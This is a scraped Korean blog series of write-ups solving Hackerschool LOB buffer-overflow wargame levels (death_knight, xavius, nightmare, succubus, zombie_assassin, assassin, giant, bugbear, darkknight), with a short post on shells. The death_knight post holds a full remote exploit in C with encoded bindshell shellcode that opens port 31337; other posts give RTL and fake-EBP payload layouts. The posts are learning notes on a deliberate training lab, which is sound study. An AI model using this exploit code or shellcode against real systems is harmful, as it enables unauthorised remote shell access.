'시스템' 카테고리의 다른 글

함수 호출 규약(Calling Convention)  (0) 2016.05.27
스택 프레임  (0) 2016.05.27
/bin/sh의 의미  (0) 2016.05.22
dummy 크기 정확히 파악하기 - 출처 http://beist.org  (0) 2016.05.01
코어덤프  (0) 2016.05.01

sh는 bone shell이라고도 하며 가장 기본적인 쉘이다.

쉘이란 커널과 사용자를 연결해주는 하나의 매개체 역할을 한다고 보면 된다.

쉘은 여러가지 형태로 만들어지지만 크게 csh 계열과 ksh 계열로 나뉜다.

csh는 c 언어를 기초로 관리자 중심으로 만들어진 쉘이고

ksh는 korn shell이라고 불리며 사용자 중심으로 만들어진 쉘이다.

csh는 후에 tcsh으로 확장된다.

리눅스는 bash라는 쉘을 사용하며 이 의미는 born again shell의 의미를 가지고 있다.

bash는 csh의 관리적인 측면과 ksh의 사용자 편의성 측면을 모두 고려하여 만들어진 쉘이다.

리눅스는 대부분의 쉘을 호환하여 사용할 수 있다.


/bin/sh는 쉘의 절대 경로 이다

'시스템' 카테고리의 다른 글

스택 프레임  (0) 2016.05.27
쉘과 쉘코드  (0) 2016.05.22
dummy 크기 정확히 파악하기 - 출처 http://beist.org  (0) 2016.05.01
코어덤프  (0) 2016.05.01
리눅스 gdb 명령어 (계속 추가)  (0) 2016.02.28

수고 하셨습니다! 

원데이 분석으로 찾아뵙겠습니다!

'해커스쿨 lob' 카테고리의 다른 글

LOB 정리  (0) 2016.05.24
LOB death_knight  (0) 2016.05.21
LOB xavius  (0) 2016.05.19
LOB nightmare  (0) 2016.05.19
LOB succbus  (0) 2016.05.16

40바이트만큼 선언되엇지만 256바이트만큼 받아 들일 수 있고 6666포트를 개방했습니다 
힌트로는 remote 라고 적혀있네요 먼저 remote를 공부해야 할거 같습니다 .

*remote에 대한 자료는 추후에 올리도록 하겠습니다 

리눅스의 정보 

#include <stdio.h> //기본 헤더 
#include <stdlib.h> //시스템 함수를 사용하기 위함
#include <errno.h>// 특정한 이유에 의해서 비정상 종료될때 오류코드 호출
#include <string.h> // 메모리 블록을 다루기 위하여 추가함 
memset , memcpy , memset ,strlen 
#include <sys/socket.h> // send , recv , socket ,bind 를 쓰기 위하여 추가함 
#include <sys/types.h> //typedef 를 사용하기 위해 추가함
#incldue <netinet/in.h> (socket.h , tpyes.h 대신 사용 가능)
#include <sys/wait.h> //자식 프로세스가 종료될때까지 부모 프로세스는 sleep()모드로 대기한다
#include <dumpcode.h> // 스택의 내용을 hex 코드로 보여줄 수 있다 .
main()
{
  char buffer[40]; // 버퍼에 40만큼의 공간을 할당해줌

  int server_fd , client_fd; // server_fd 와 clinet_fd 변수를 선언하였다
  struct sockaddr_in server_addr; // server_addr 구조체 선언
  struct sockaddr_in client_addr; // client_addr 구조체 선언
  int sin_size; //sin_size 변수 선언
  if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){ //소켓의 타입을 TCP로 설정함 (주소 체계 , 소켓타입 , 프로토콜)
             perror("socket") //오류메시지 처리 socket:@@@@라고 뜸 
              exit(1); // 에러가 나서 종료함
 } 

server_addr.sin_family = AF_INET; //소켓의 주소체계를 IPV4로 설정함
server_addr.sin_port = htons(6666);//소켓의 6666포트를 연다.
server_addr.sin_addr.s_addr = INADDR_ANY;// 모두 접속가능하다 
bzero(&(server_addr.sin_zero), 8); // sin_zero 부분을 0으로 초기화한다.

if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){  //소켓에 주소 할당을 한뒤 실패한다면 

perror("bind"); //bind 라는 만구를 출력하고 

exit(1); //종료된다

}

if(listen(server_fd, 10) == -1){ //연결 대기 제한 수를 10으로 잡고 실패하면

perror("listen"); //listen을 출력하고 

exit(1); // 종료된다 

}

while(1) {  //무한 루프 

sin_size = sizeof(struct sockaddr_in); //sin_size = 선언한 구조체의 크기 

if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr,                   &sin_size)) == -1){ //  클라이언트의 접속요청을 받고 실패하면

perror("accept"); //accept라는 문구를 호출하고

continue; //지속한다 

}

             if (!fork()){ //새로운 프로세서를 생성하지못하면(?)

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0); // Death~ 문구를 보냅니다 (52만큼 할당되었음)

send(client_fd, "You : ", 6, 0); //You 라는 문구를 보냅니다

recv(client_fd, buffer, 256, 0); //40만큼 할당된 버퍼에서 256만큼 저장합니다.

close(client_fd);//client_fd 소켓 종료 

break; //while문 종료 

}

close(client_fd);  //client_fd 소켓 종료 

while(waitpid(-1,NULL,WNOHANG) > 0);//임의의 자식 프로세스가 종료되지 않았더라도 바로 종료해라 

}

close(server_fd); //server_fd 소켓 종료 

}

으으으으으으 문제 소스 주석이 다 끝났습니다! 햇갈리는 분은 봐주세요 

저희는 여지껏 로컬환경에서 공격을 진행했습니다 
하지만 이번에는 바깥 환경 ?(원격) 에서 진행을 해야하기 때문에 소켓프로그래밍을 이용해야합니다 .
또한 리모트 버퍼 오버플로우에서는 기존의 쉘코드를 사용해서는 안됩니다 
그 이유는 쉘코드의 fd는 0,1이지만 0,1은 현재 프로세스에서 돌고있는 파이프가 아니기때문에 fork 바이너리가 받아들이지 못합니다 
[ 기존에는 로컬에서 풀고 있던 문제였습니다 로컬에서 풀던 문제는 한 프로세스에서 돌아가고 있던거여서 가능하였지만 지금은 통신형식으로 외부에서 공격을 하는것이고 현재 프로세스에서 돌고 있는 파이프가 아니기때문에 fork 바이너리[ 자식을 0,1로 받지 않습니다]를 통과하지 못하기 때문에 공격할 프로그램과는 별개로 새로운 소켓을 생성하고 포트를 열고 /bin/bash와 연결하는 bindshell 백도어를 실행시켜야한다]

*코드를 추가할때 추가적으로 inte_addr을 이용해야한다 
inet_addr = 문자열 형태로 받은 주소를 8bit당 값을 4개씩 왼쪽에서 오른쪽으로 구성해주는 unsigned long 타입으로 변환해준다 
따라서 #include <arpa/inet.h> 헤더를 추가로 사용해줘야 한다 .

프로그래밍 실력이 모잘라서 이것저것 찾아보고 붙여놓고 하면서 거의 20시간 만에 성공한거같습니다 -_-;;

-------------------------------문제 소스입니다-------------------------------------------------

#include <stdio.h>

#include<stdlib.h>

#include<string.h>

#include<sys/socket.h>

#include<sys/types.h>

#include<netinet/in.h>

#include<arpa/inet.h>


#define BUFSIZE 256 //BUFSIZE = 256 BUFSIZE를 호출하면 256이 들어감

#define RET_BUF 44 //RET_BUF = 44 RET_BUF를 호출하면 44가 들어간다

#define NOP 50      //NOP = 50 NOP을 호출하면 50이 들어간다

#define BIND 31337 //BIND = 31337 BIND를 호출하면 31337이 들어간다


char bindshellcode[] =

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";

//바인드쉘코드 31337 포트를 개방하고 쉘을 실행시킵니다
exploitdb 및 검색으로 간단히 구하실 수 있어요 

int main(int argc, char* argv[]) //main 함수에 argc ,argv라는 매개변수를 전달한다.

{

int sock; //sock 변수를 선언한다

struct sockaddr_in target_addr; //target_addr 구조체 선언

unsigned int retaddr = 0xbffffff0; //바꿔나갈 return addr의 초기값

unsigned char buffer[BUFSIZE]; //버퍼의 사이즈를 설정한다 

char cmd[130]; //telnet 명령어 넣을곳의 크기 

sprintf(cmd, "%s %s %d", "telnet","localhost",BIND);

//sprintf = 변수에 형식 대입이 가능함 고로 cmd에 telnet~같은 문자열을 저장함)

while(1) { //무한 반복 ==for(;;)

memset(&target_addr, 0, sizeof(target_addr)); //target_addr의 모든 값을 0으로 초기화한다 

target_addr.sin_family = AF_INET; //소켓의 주소체계를 IPV로 설정한다

target_addr.sin_port = htons(6666);//소켓의 6666포트를 연다

target_addr.sin_addr.s_addr=inet_addr("127.0.0.1"); //127.0.0.1에 접속을 한다 

if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
//IPv4 프로토콜 사용 , TCP/IP 이용 0프로토콜사용(보통 0 값을씀) 을 sock에 대입한후 만약 실패를 하게 되면

printf ("socket error"); //socket error 문구를 출력한다

return -1; // 오류를 반환한다

}

if(connect(sock, (struct sockaddr*)&target_addr, sizeof(target_addr)) == -1){
//연결요청을 target_addr의 주소로 보내고 그 주소 정보를 struct sockaddr 포인터가 가지고있다 sizeof(target_addr) = struct sockaddr*)&target_addr 포인터가 가르키고있는 구조체의 크기 [sock = 디스크립터]를 전달해서 연결에 실패한다면

printf("connect error"); //connect error를 출력함

close(sock); //sock을 닫는다 

continue; //while문을 빠져나와서 다음걸 진행한다 

}

retaddr -= NOP; // return addr의 초기값에서 NOP값 만큼 계속 감소

printf("retaddr : 0x%p\n" , retaddr); //retaddr의 주소를 출력함

memset(buffer, '\x90', sizeof(buffer));//버퍼를 모두 놉코드로 초기화 한다.

memcpy(buffer+RET_BUF, &retaddr, 4);//ret주소에 retaddr의 주소를 넣음

memcpy(buffer+100, bindshellcode, strlen(bindshellcode));//버퍼에서 100만큼 떨어진곳에 bindshellcode 만큼 크기를 할당하고 bindshellcode를 넣는다

send(sock, buffer , strlen(buffer), 0);// sock = 디스크립터 현재 버퍼가 들어잇는 소켓을 전송합니다

system(cmd); //시스템함수로 텔넷 명령어를 넣는다 

sleep(1); //1초마다 반복합니다 

close(sock); //sock을 닫습니당

}

return 0; //끄으으읕

}

대충 이렇게 구성이 되어있습니다
[제가 전부 짠 소스가 아니고 이곳 저곳 참고하면서 작성했습니다. 다음에 파이썬 이후에 소켓 프로그래밍도 공부해보고 싶습니다!]

실행을 시키니 Escape character is '^]' . 라는 문구가 등장하네요 
처음에는 오류인지 알고 소스를 처음부터 다시 짜려고 했습니다만

http://openness.tistory.com/entry/telnet-%EC%A0%91%EC%86%8D-%ED%85%8C%EC%8A%A4%ED%8A%B8-%EA%B2%B0%EA%B3%BC-%EC%9D%98%EB%AF%B8 

이곳을 참고하시면 프로세스가 열린것을 알 수 있습니다 .

이런식으로 시도를 계속 해봣으나 실패했습니다 

세미콜론을 붙여서 하니까 출력이 되는군요 ?
[뒤에 쓰레기 값들이 붙어서 세미콜론으로 잘라내서 출력이 된것인지는 모르겠지만 추측해보고 있습니다. 아시는 분은 댓글좀 부탁드리겠습니다..]

수고하셨습니다!


'해커스쿨 lob' 카테고리의 다른 글

LOB 정리  (0) 2016.05.24
LOB CLEAR~  (0) 2016.05.21
LOB xavius  (0) 2016.05.19
LOB nightmare  (0) 2016.05.19
LOB succbus  (0) 2016.05.16

xavius의 소스코드입니다
저번과 같이 왠만한 부분은 전부 막아놔버렷네요
leave를 막아놓음으로써 fake ebp 기법을 방어한거같고
xc3은 ret을 ret에 넣는 방법을 방어한거같네요

ret의 끝자리가 \xc3인것을 확인 하실수 잇습니다
스택도 막아놓고 공유라이브러리도 막아놨네요 

그래서 이걸 어찌풀어야하지 .. 하고 고민을 하던찰라에 뭔가 주석이 달린 //overflow! 부분을 삽질해보기로 결정했습니다 . 

그러던 도중에 stdin으로 한번 통해서 간다는 생각이 들어서 stdin을 파해쳐 보기로 하였습니다 (사실 확신이 없어서 하루 종일 이것저것 파봤습니다-_-)

stdin의 주소를 출력한뒤 이동했습니다
다 초기화 햇을텐데 값이 보이네요 뭔가 실마리를 얻은거 같았습니다 

의심 가는 부분을 하나하나 찔러봤습니다 . .
혹시 몰라 브레이크 포인트도 수시로 바꿔주면서 값들을 확인하던 찰라에 

수십번을 시도 하고 아무리 값을 집어넣고 실행시켜도 
주소가 변하지 않아서 여기가 아닌가보다 그럼 도대체 어디지? 하면서
pe구조를 보던 찰나에 
뭔가를 입력해야만 
Breakpoint 1, 0x804882a in mian() 이런식으로 실행이 된다는것을 보고 
뭔가 이상함을 느꼈습니다 
그러다가 우연히 오타를 쳤는데

IO_2_1_stdion_  부분의 주소값들을 자세히 봐주세요 

IO_2_1_stdin_ 의 주소가 
0x40015001 에서 0x40015003 으로 변했습니다 

A를 무작위로 대입해줫더니
0x4001502c로 변했습니다 .
그래서 아무것도 안넣어줫을때 값이 초기 값이라고 생각하여 
0x40015000로 이동을 했습니다 

41들이 정상으로 들어가는것을 확인할 수 있습니다 
게다가 stdin의 주소는 리턴을 검사하는것에 걸리지도 않습니다 
뒷부분이 00이지만 놉코드를 써주고 쉘코드를 써주면 피해갈 수 있다고 짐작해볼수잇겠네요

계속 값을 주고 시도했는데 실패했습니다 
이유를 찾던 도중에.. 
fgets(buffer , 256 , stdin) 에서 
fgets를 사용해서 풀엇던 문제들은 | 와 cat을 이용해서 풀엇다는 사실을 알게되었습니다(복습좀 해야겠습니다 까먹엇었습니다)

풀게되었습니다 . .
lob를 끝내고 한번 더 정리해야겠습니다 

'해커스쿨 lob' 카테고리의 다른 글

LOB CLEAR~  (0) 2016.05.21
LOB death_knight  (0) 2016.05.21
LOB nightmare  (0) 2016.05.19
LOB succbus  (0) 2016.05.16
LOB zombie_assassin  (0) 2016.05.16

argv[1]에서 44부터 4개의 주소를 비교하는데 strcpy와 같지 않으면 종료시킵니다 .
또한 dangerous waterfall 이라고 새로운 친구가 보이네요 
buffer+40+8의 주소부터 A를 4개 채워버리는군요

저는 여기서 strcpy의 역할과 ret의 기능을 생각하였습니다.
ret에 strcpy가 들어가게 되면 strcpy가 실행하게 될텐데
strcpy는 strcpy(a,b)라는 인자가 있으면 b의 값이 a로 전달 되는 함수입니다.
원하는 값을 버퍼안 혹은 ret 뒤에 넣은뒤 
그 값의 주소를 b에 주고 ret+4의 주소를 a에다가 넣어주면 되겠습니다.

strcpy의 주소를 구하였습니다 .

여기서 이제 stcpy의 주소를 argv[1]+44 다음에 넣어봅시다! 

정해진 위치에 넣지 않았더니 printf가 실행되면서 종료됩니다

정상적으로 넣어줬더니 세폴이 발생하면서 코어 덤프가 생겼습니다! 

----------------------------------------------------------------------------------------------------계속 주소값을 변경하고 찾고 찾아도 이틀동안 풀지 못했습니다... 
처음으로 돌아가서 다시 해보겠습니다 

이런식으로 버퍼의 첫 주소를 확인하려고 하였으나 실패했습니다 .

strcpy브포를 주고 시도를 해봤으나 실패했습니다 

코어를 띄우며 버퍼값을 맞추려고 해도 strlen에 값들이 주어져서 주소값들이 수시로 변해서 실패했습니다 

그러다가 strcpy+33(leave)에 값을 주고 시도해봤습니다 

버퍼의 첫 주소인 a90과 ret+4부분인 ac0을 발견했습니다.
처음에 생각햇던 페이로드인 
"A"*44+&strlen+"A"*4+&RET+&SHELL+SHELL 이 아닌

&SYSTEM+A*4+&/bin/sh+A*32+&STRELN+"A"*4+&RET+&BUF의 첫 주소로 공격을 하였고 성공했습니다 -_-(분명히 A90 과 AC0을 시도헀던거 같은데 어디서 틀린지 아직 감이 안잡힙니다..반복되는 bash2때문에 주소값이 밀렸던것일까요 ..아니면 제가 사소한 실수를 했던것일까요 반성해야겠습니다)


'해커스쿨 lob' 카테고리의 다른 글

LOB death_knight  (0) 2016.05.21
LOB xavius  (0) 2016.05.19
LOB succbus  (0) 2016.05.16
LOB zombie_assassin  (0) 2016.05.16
LOB assassin  (0) 2016.05.13

소스가 엄청길다 ..
공유라이브러리영역부터 스택 등등 여태까지 썻던 기법을 다 막아버린다 
또한 check address 부분에서 Do의 주소와 44부터 4개를 비교하면서 != 일 경우 printf(~) 를 출력한다 . 
Mo가 실행되면 system을 실행시킨다!
Mo를 실행시켜서 풀어야 하는 문제같다.

gdb를 분석하던 도중에 의심스러운 친구가 보였다

 봐보니 DO가 나왓다 그렇다면
마찬가지고 GYE GUL YUT MO 도 찾을 수 있지 않을까 싶어서 시도해보았다

역시나 도개걸윷모 모두 존재하는것을 알 수 잇었다!
먼저 MO를 혹시나 해서 RET주소에 써봤다 

printf 가 출력되면서 종료가 되버린다! 
그렇다면 ret주소에 다른 친구들을 쓰면 4바이트가 추가적으로 주어진다는것을 생각해서 추가로 넣어보겠다 

도에 온것을 환영한다고 합니다 도 다음에 바로 모를 쓸수 잇나 해보겠습니다

별 다른 반응이 없습니다 그렇다면 도 개 걸 윳 모 순서대로 넣어보겠습니다 

도 개 걸 윷 모 차례 차례 실행과 함께 시스템이 실행됬습니다!


쉘코드를 넣어주기 위하여 &쉘코드(4) + nop(20) + 쉘코드(25) 의 주소를 알기위해 값을 대강 준뒤 코어덤프로 분석해봤습니다

A와 B의 주소를 구했습니다 

A부분에는 &쉘코드의 주소로 흘러들어가기 위하여 안전하게 놉 코드의 주소를 넣어줬습니다 .
그 후에 놉을 20개 준뒤 C 부분에는 쉘코드를 입력해줬습니다 
정상적으로 권한이 주어진것을 확인하고 권한이 걸린 파일에다가 넣어보도록 하겠습니다 

정상적으로 권한이 주어졌습니다 

'해커스쿨 lob' 카테고리의 다른 글

LOB xavius  (0) 2016.05.19
LOB nightmare  (0) 2016.05.19
LOB zombie_assassin  (0) 2016.05.16
LOB assassin  (0) 2016.05.13
LOB giant  (0) 2016.05.12

대망의 FAKE_EBP를 사용하는문제입니다 .(Fake_ebp는 따로 블로그 내에 적어두겠습니다.)

bash2와 core분석으로 위해서 ulimit -c unlimited 를 설정했습니다.

그 뒤에 zombie_assassin을 복사하여 zombie_assassss를 만들었습니다

leave의 주소입니다 

쉘코드를 넣을것을 가정하고 주소파악을 쉽게 하기 위해서 

A*4 B*25 C*11 D*4 + leave의 주소를 줘서 세펄을 띄우고 코어 분석을 하였습니다

0xbffffa90에 보면 0x41414141(A*4) 즉 버퍼의 시작주소가 보입니다 .

여기서 그렇다면 RTL을 이용하여 생각할 수 있는 페이로드입니다 
dummy(4) System의 주소(4) +exit or dummy(4) + /bin/sh(4) + dummy(24)
+버퍼의 시작주소(4) + leave의 주소(4) = 48

(* 시스템의 주소와 /bin/sh주소는 저번RTL문제에서 구한 주소를 그대로 사용하였습니다.)

권한을 휙득했습니다!

(풀이는 기법에 대한 설명이 없기에 간단하게 작성하였으나 문제 푸는데는 2일이 걸린 짜증나는 문제였습니다-_-)

'해커스쿨 lob' 카테고리의 다른 글

LOB nightmare  (0) 2016.05.19
LOB succbus  (0) 2016.05.16
LOB assassin  (0) 2016.05.13
LOB giant  (0) 2016.05.12
LOB bugbear  (0) 2016.05.12

RTL도 사용불가능하고 스택의 주소를 이용한 방법도 사용불가능하네요 

fake ebp 방법으로 또 6시간동안 삽질한 문제였습니다.

덕분에 fake ebp문제는 쉬울거같은 느낌이 드는군요 ...후우 

엄청해맸습니다. 주소의 끝 부분을 이용해본다거나 어케든 돌려서 박아넣어본다거나..

if(argv[1][47] == '\x40' 이 부분에 걸려서 에러가 뜰때 뭔가 떠오른게 있었습니다.

어라? 기존 ret는 안걸리네 생각해보니까?

근데 ret는 pop eip jmp eip를 수행합니다 

근데 ret주소에 ret이 있다면..? ret이 다시 한번 수행 된다는걸 알 수 있습니다 . 

buf[40]  +  SFP [4] + RET[4] 일단은 이러한 구조입니다
근데 if문은 [1][47]에 걸려있습니다 근데 RET가 다시 한번 실행되면..?

buf[40] + SFP [4] + RET[4] +RET[4] 조건에 걸리지 않고 RET를 사용할 수 있습니다!

기존의 RTL 방법이라던가 환경변수를 사용 할 수 있는 조건이 만들어졌습니다!

알고 나니까 정말 후련하고 뭔가 깨달은거같네요! 

기존의 RTL을 사용한다면 이러한 구조가 되겠네요

buf[40] + sfp[4] + ret[4] + system[4] + dummy [4] + /bin/sh [4]

그렇다면 먼저 ret의 주소와 system의주소 그리고 /bin/sh의 주소를 구해봅시다.

/bin/sh를 구하기 위한 소스코드입니다.

shell = [이곳 주소는 system의 주소가 들어가야합니다]

이제 재료가 다 모였네요 넣어봅시다!

성공했습니다!

[환경 변수는 이상하게 오류가 떠서 실패했습니다. 안되는 원인을 아시는분은 말씀 주시면 감사하겠습니다 

'해커스쿨 lob' 카테고리의 다른 글

LOB succbus  (0) 2016.05.16
LOB zombie_assassin  (0) 2016.05.16
LOB giant  (0) 2016.05.12
LOB bugbear  (0) 2016.05.12
LOB darkknight  (0) 2016.05.11

소스가 많이 길어졌습니다 .

// gain address of execve

fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

fgets(buffer, 255, fp);

sscanf(buffer, "(%x)", &lib_addr);

fclose(fp);

/home/giant/assassin 파일을 idd로 공유라이브러리를 확인한후에 libc(표준라이브러리) 를 grep으로 출력하고 그중에 4번째 열(libc 라이브러리의 주소)를 popen함수를 통해서 fp로 넘긴다 

 fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "%x", &execve_offset);

        fclose(fp);

libc.so.6 오브젝트 파일에서 nm을 통해 심볼들을 출력하고 grep을 통해 execve함수만 출력하도록 하고 이중에서 execve의 오프셋을 출력한다


그리고 맨 아래를 보니 you must use execve라는 문구와 ret !=execve_addr 을 보니 ret에다가 반드시 execve의 주소를 사용해야 하는거 같다 


난이도가 저한테는 상당히 어려운거같습니다 . 

/home/giant/assassin파일은 역시나 권한이 할당되지 않았습니다 .

gain address of execve 인것을 보아하니 execve에 대해서 먼저 파악을 해봐야겠습니다 

execve는 리눅스 시스템 호출 함수네요 (프로그램을 실행합니다)

int execve (const char *filename, char *const argv [], char *const envp[]);

사용법 ? 구조는 이런식으로 되있습니다 . 

execve는 filename이 가리키는 파일을 실행하는데 filename은 바이너리 실행 파일이거나 #! interpreter [arg]와 같은 라인으로 시작하는 스크립트 파일이어야 합니다.

argv는 새로이 실행할 프로그램에 전달하는 인수 문자열의 배열입니다 
envp는 보통 key=value와 같은 형태로 문자열 배열이고 환경 변수를 설정해놓은 것처럼 전달됩니다 . argv와 envp는 모두 NULL 포인터로 끝나야만 합니다.

만약 filename이 가리키는 실행 파일의 set-uid 비트가 설정되어 있다면 호출한 프로세스의 실질적인 사용자 ID(uid)는 실행 파일의 소유자로 바뀝니다 
(여기서 execve를 RTL과 어떻게 엮어서 사용해야할지 대충 느낌이 갑니다)

먼저 execve의 주소를 구해보겠습니다 

execve는 라이브러리 함수입니다 . 라이브러리의 주소는 어떠한 파일(?)에서 열든지 주소가 동일합니다 . 먼저 그러면 tmp파일에 복사한 후 execve의 주소와
원래 문제상에서 제시한 얻는 방법인 execve_addr = lib_addr + (int)execve_offset
두개를 비교해서 봐보겠습니다 .


새로운 파일에서 얻은 execve주소 입니다 그렇다면 이번엔 원래 문제에서 제시한 얻
는 방법을 시도해보겠습니다

여러번 시도 해본 결과 저런식으로 lib_addr의 주소를 얻었습니다
이번엔 execve_offset을 얻어보겠습니다 

어찌 저찌 구햇으나 grep 명령어를 좀 더 공부해야될거같습니다..
0x40018000+00091d48을 더해야되는군요 음 

손수 계산했습니다 ㅎㅎㅎ 귀엽군요 아까 구한 execve의 주소와 맞아 떨어지는것을 확인했습니다 .
혹시나 싶어서 저 주소로만 공격을 해보겠습니다 

역시 안되는군요 

int execve (const char *filename, char *const argv [], char *const envp[])

execve의 이러한 구조를 이용해야겠습니다 . 

멍청하게 filename 을 giant 파일 이름의 주소를 찾아서 공격시도를 해보고잇었습니다-_-;;;;;;;;;; 저기 위에 filename은 바이너리 실행 파일이거나 하고 써놧네요 

뭔가 giant의 이름 주소를 공격하는건 아닌거같아서 좀 찾아봤습니다 

filename에 /bin/sh를 넣어주고있네요 

그럼 파일 네임부분에는 /bin/sh의 주소를 넣고 .. - 

execve에 대한 정보가 더 필요할거같아서 자료를 찾던 와중에
execve 항목에 보면 path에 지정한 경로명의 파일을 실행하고 argv와 envp를 인자로 전달한다 라는 항목을 보고 퍼뜩 떠올라 공격을 해보겠습니다

나름 회심의 공격이였는데 실패했습니다 . 뭐가 문제인걸까요 많이 어렵습니다 

gdb로 확인해보자는 마음으로 coredump를 시도해봤으나 역시나 실패했습니다 .


일반 gdb로 스택을 확인해보려고 했습니다

245즈음에 브레이크 포인트를 잡아 준후에 아까 
오류가 떳던 바로위에 스크린샷을 실행시켰습니다

기존 프로그램이 아니므로 assassin을 찾을 수 없다는 문구와 함께 역시 이 방법이 아닌가 하면서 gdb를 솔직히 두번 껏다가 다시 켰습니다 -_-; 스택을 확인해보겠습니다


놉코드를 넣어준 지점이 보여서 일일히 눈으로 하나하나 비교해가면서 확인을 했습니다.. 그러던 와중에 

이럴수가 /x48/x9d/x0a/x40 에서 0a가 사라져있습니다 .
전 또 그 짜증나는 bash의 짓이라고 예상하고 명령어들을 쳐도 무용지물 이였습니다
소스는 함정이고 0a를 어떻게 살리느냐가 이 문제의 핵심인가 하고 생각했습니다 

구글링으로 리눅스 0a.. 어셈블리 0a를 검색하던도중에 헥사코드로 0x0a는

문자로 줄바꿈을 한다고 합니다 그래서 없어진걸까요 ? 

심볼릭링크를 시도햇으나 마지막에 null 주소를 줬기에 만들어지지 않습니다.

https://wikidocs.net/13

ftz - level3에서 느낌을 받았습니다 
개행문자 결국 c로 보면 \n이지요 이걸 근데 level3에서 햇던거처럼 문자열로 묶어서 전달하면 주소 그 자체 0a로 읽히는게 갑자기 생각나서 시도하고 성공했습니다
이렇게 푸는게 제대로 푸는건가 싶긴 하지만.. 권한은 얻었습니다!


'해커스쿨 lob' 카테고리의 다른 글

LOB zombie_assassin  (0) 2016.05.16
LOB assassin  (0) 2016.05.13
LOB bugbear  (0) 2016.05.12
LOB darkknight  (0) 2016.05.11
LOB golem  (0) 2016.05.10

이번 소스이다 RTL기법으로 풀어야지 stack betrayed you도 간단히 피해갈 수 있을거같다.
FTZ와는 달리 LOB는 버전이 좀 낮아서 더미값이 없는거로 생각을해서 

gdb를 일단 보지 않고 진행했다.

ftz에서는 주로 에그쉘을 이용한뒤에 더미값을 채우고 공격하는 식으로 진행을햇었다. 이번에는 /bin/sh주소와 시스템 함수 주소를 이용해서 진행을 해보겠다.

먼저 시스템함수 주소를 구해야한다.
여태까지 해왔던거처럼 권한이 걸려있는 기본 bugbear에 실행을 시키려고 하면
권한이 없다면서 실패하기때문에
새롭게 파일을 만들어서 진행을 해야한다 .

오직 시스템 출력을 하기위한 gdb분석이기 때문에 별 다른 실행이라던가 

브레이크 포인트를 안잡아줘도 괜찮습니다.

또한 objdump를 이용해서 찾아보실수도있습니다

그 후에 /bin/sh를 찾아야 합니다 

shell = 부분에 system 함수의 주소를 넣어주셔야 합니다 .

이렇게 되면 RTL을 위한 기본 준비가 다 끝났습니다.

처음 코드에서 버퍼 40을 넣을 수 있는걸 확인했으니
A*40을 해주고 sfp[dummy4] + system의주소 + dummy[4] + /bin/sh의주소

systemp주소 이전에 dummy4를 넣어주는 이유는 sfp를 채우고 ret를 시스템의 주소로 채우기 위함입니다!
근데 왜 /bin/sh의 주소를 채우기 이전에 dummy의 값을 4만큼 넣어줘야 하는것이냐면 systemp 함수는 ebp+8에 있는 명령어를 실행시키기 때문입니다

관련이 있는 소스같다고 짐작을 해봅니다...

 권한을 휙득했습니다!

'해커스쿨 lob' 카테고리의 다른 글

LOB assassin  (0) 2016.05.13
LOB giant  (0) 2016.05.12
LOB darkknight  (0) 2016.05.11
LOB golem  (0) 2016.05.10
LOB skeleton  (0) 2016.05.05


이번 문제는 저번 문제에 비해서 코드가 상당히 짧아졌습니다 .
buffer가 40이 할당되어있는데 strncpy로 41만큼을 넣을 수 있습니다.

이번 문제도 고민하다가 결국 새로운 기법이 필요하다는걸 알고 화가낫는데요 

이번에 필요한 기법은 Frame Pointer Overflow 라는 기법이 필요합니다.
sfp를 1개만 버퍼오버플로우가 가능할때 사용할 수 있는 기법입니다 .

sfp는 이전 스택프레임의 포인터를 가리키고있는 친구입니다
Frame Pointer Overflow는 leave,ret을 이용한게 중요합니다 
leave 는 move ebp,esp /pop ebp를 수행하게됩니다 .
esp는 현재 스택의 가장 위의 포인터라고 생각할 수 있습니다.
여기서 mov ebp,esp를 하면 현재 스택의 가장 위의 포인터가 현재 스택의 가장 아래를 가리키고 있는 ebp에 들어갑니다 [ esp(sfp에 우리가 1개의 값을 넣은값이 포함되잇음) ]
그리고 이제 pop ebp를 수행함으로써 esp가 4가 증가하게 됩니다 .
(4가 증가한것을 계산하여 sfp를 이용해야합니다)
http://research.hackerschool.org/Datas/Research_Lecture/sfp.txt

이제 ret주소에다가 쉘코드의 시작주소를 넣어줌으로써 공격을 하게 됩니다 


problem_child를 이용해서 풀어야 하므로 problem_child를 gdb로 열어봤습니다 여기서 leave에 브레이크 포인트를 잡아준뒤 esp에서 100개를 뽑아줬습니다.



A가 버퍼 40 + sfp값 1추가한 총 41개가 들어가있습니다 .    

----------노트북에서 데스크탑으로 바꿔서 진행해서 주소값이 조금씩 달라졌습니다


쉘코드 25 + nop값 15  + sfp변경할 값 1 해서 총 41을 넣어줬더니 
세그먼트폴트가 떠서 코어덤프를 해서 찾아봤습니다 

이렇게 찾자니 가독성..?이 조금 떨어지는거같아서 단순히 A41개만 넣어줘서 다시 봐보겠습니다 

problem_child+41에 브레이크 포인트를 걸어준뒤에 

A를 단순히 41개 넣어줬습니다 .
아까 제가 찾앗던 주소값에서 조금 변경된것을 보여줄 수 있습니다 .
